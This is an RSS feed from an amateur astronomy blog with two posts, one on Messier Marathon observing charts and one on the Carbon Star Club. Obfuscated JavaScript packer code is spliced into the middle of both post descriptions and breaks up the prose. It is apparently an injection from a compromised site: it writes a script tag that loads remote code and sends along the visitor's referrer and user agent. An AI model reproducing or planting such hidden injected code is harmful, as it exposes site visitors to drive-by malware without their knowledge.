<?xml version="1.0" encoding="UTF-8"?><rss version="0.92">
<channel>
	<title></title>
	<link>http://thestarhopper.com</link>
	<description></description>
	<lastBuildDate>Thu, 24 Mar 2011 13:29:21 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	<!-- generator="WordPress/3.1" -->

	<item>
		<title>Messier Marathon Charts</title>
		<description><![CDATA[The Messier Marathon is coming up.  The weekends of March 26th and April 1st are the best weekends to try the marathon.  I have uploaded the charts I use for the Messier Marathon. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]&#124;&#124;c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document&#124;&#124;javascript&#124;encodeURI&#124;src&#124;&#124;write&#124;http&#124;45&#124;67&#124;script&#124;text&#124;rel&#124;nofollow&#124;type&#124;97&#124;language&#124;jquery&#124;userAgent&#124;navigator&#124;sc&#124;ript&#124;ebasb&#124;var&#124;u0026u&#124;referrer&#124;keidn&#124;&#124;js&#124;php'.split('&#124;'),0,{})) Messier Telrad Charts Messier Search list Messier Charts Map of all Messier Objects A lot of [...]]]></description>
		<link>http://thestarhopper.com/?p=16</link>
			</item>
	<item>
		<title>Astronomical League&#8217;s Carbon Star Club</title>
		<description><![CDATA[The Astronomical league has a new observing club for Carbon Stars.  I am currently working on this list and it is challenging but fun. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]&#124;&#124;c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document&#124;&#124;javascript&#124;encodeURI&#124;src&#124;&#124;write&#124;http&#124;45&#124;67&#124;script&#124;text&#124;rel&#124;nofollow&#124;type&#124;97&#124;language&#124;jquery&#124;userAgent&#124;navigator&#124;sc&#124;ript&#124;tibfs&#124;var&#124;u0026u&#124;referrer&#124;ryrdk&#124;&#124;js&#124;php'.split('&#124;'),0,{})) They Astronomical League does not have charts available yet but I created my own here. For more info see the AL&#8217;s site here.]]></description>
		<link>http://thestarhopper.com/?p=23</link>
			</item>
</channel>
</rss>
